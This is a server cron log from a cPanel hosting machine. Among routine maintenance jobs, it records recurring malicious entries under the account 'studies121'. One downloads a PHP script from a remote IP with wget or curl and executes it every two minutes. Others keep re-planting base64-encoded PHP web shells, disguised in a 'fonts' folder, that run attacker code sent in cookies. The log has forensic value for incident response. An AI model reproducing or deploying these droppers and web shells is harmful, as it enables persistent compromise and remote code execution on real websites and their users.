Feb 22 20:20:01 ip-184-168-122-23 CROND[12367]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 20:20:01 ip-184-168-122-23 CROND[12368]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 20:20:01 ip-184-168-122-23 CROND[12369]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 20:20:01 ip-184-168-122-23 CROND[12370]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 20:20:01 ip-184-168-122-23 CROND[12372]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 20:20:01 ip-184-168-122-23 CROND[12374]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 20:20:01 ip-184-168-122-23 CROND[12378]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 20:21:01 ip-184-168-122-23 CROND[12717]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 20:21:01 ip-184-168-122-23 CROND[12719]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 20:21:01 ip-184-168-122-23 CROND[12720]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 20:21:01 ip-184-168-122-23 CROND[12721]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 20:22:01 ip-184-168-122-23 CROND[13033]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 20:22:01 ip-184-168-122-23 CROND[13036]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 20:22:01 ip-184-168-122-23 CROND[13038]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 20:22:01 ip-184-168-122-23 CROND[13037]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 20:22:01 ip-184-168-122-23 CROND[13039]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 20:23:01 ip-184-168-122-23 CROND[13439]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 20:23:01 ip-184-168-122-23 CROND[13440]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 20:23:01 ip-184-168-122-23 CROND[13441]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 20:23:01 ip-184-168-122-23 CROND[13444]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 20:24:01 ip-184-168-122-23 CROND[13766]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 20:24:01 ip-184-168-122-23 CROND[13768]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 20:24:01 ip-184-168-122-23 CROND[13771]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 20:24:01 ip-184-168-122-23 CROND[13769]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 20:24:01 ip-184-168-122-23 CROND[13770]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 20:25:02 ip-184-168-122-23 CROND[14107]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 20:25:02 ip-184-168-122-23 CROND[14109]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Feb 22 20:25:02 ip-184-168-122-23 CROND[14113]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 20:25:02 ip-184-168-122-23 CROND[14111]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 20:25:02 ip-184-168-122-23 CROND[14115]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 20:25:02 ip-184-168-122-23 CROND[14110]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 20:25:02 ip-184-168-122-23 CROND[14116]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 20:26:01 ip-184-168-122-23 CROND[14444]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Feb 22 20:26:01 ip-184-168-122-23 CROND[14446]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 20:26:01 ip-184-168-122-23 CROND[14445]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 20:26:01 ip-184-168-122-23 CROND[14453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 20:26:01 ip-184-168-122-23 CROND[14454]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 20:26:01 ip-184-168-122-23 CROND[14455]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 20:27:01 ip-184-168-122-23 crond[674]: (aromaskitchen) ORPHAN (no passwd entry)
Feb 22 20:27:01 ip-184-168-122-23 crond[674]: (jonessimon) ORPHAN (no passwd entry)
Feb 22 20:27:01 ip-184-168-122-23 CROND[14814]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 20:27:01 ip-184-168-122-23 CROND[14813]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 20:27:01 ip-184-168-122-23 CROND[14816]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 20:27:01 ip-184-168-122-23 CROND[14819]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 20:28:01 ip-184-168-122-23 CROND[15171]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 20:28:01 ip-184-168-122-23 CROND[15174]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 20:28:01 ip-184-168-122-23 CROND[15175]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 20:28:01 ip-184-168-122-23 CROND[15173]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 20:28:01 ip-184-168-122-23 CROND[15176]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 20:29:01 ip-184-168-122-23 CROND[15496]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 20:29:01 ip-184-168-122-23 CROND[15498]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 20:29:01 ip-184-168-122-23 CROND[15499]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 20:29:01 ip-184-168-122-23 CROND[15501]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 20:30:01 ip-184-168-122-23 CROND[15833]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Feb 22 20:30:01 ip-184-168-122-23 CROND[15838]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 20:30:01 ip-184-168-122-23 CROND[15837]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 20:30:01 ip-184-168-122-23 CROND[15840]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 20:30:01 ip-184-168-122-23 CROND[15839]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 20:30:01 ip-184-168-122-23 CROND[15841]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 20:30:01 ip-184-168-122-23 CROND[15842]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 20:30:01 ip-184-168-122-23 CROND[15843]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 20:30:01 ip-184-168-122-23 CROND[15846]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 20:31:01 ip-184-168-122-23 CROND[16146]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 20:31:01 ip-184-168-122-23 CROND[16147]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 20:31:01 ip-184-168-122-23 CROND[16150]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 20:31:01 ip-184-168-122-23 CROND[16151]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 20:31:01 ip-184-168-122-23 CROND[16152]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 20:32:01 ip-184-168-122-23 CROND[16484]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 20:32:01 ip-184-168-122-23 CROND[16486]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
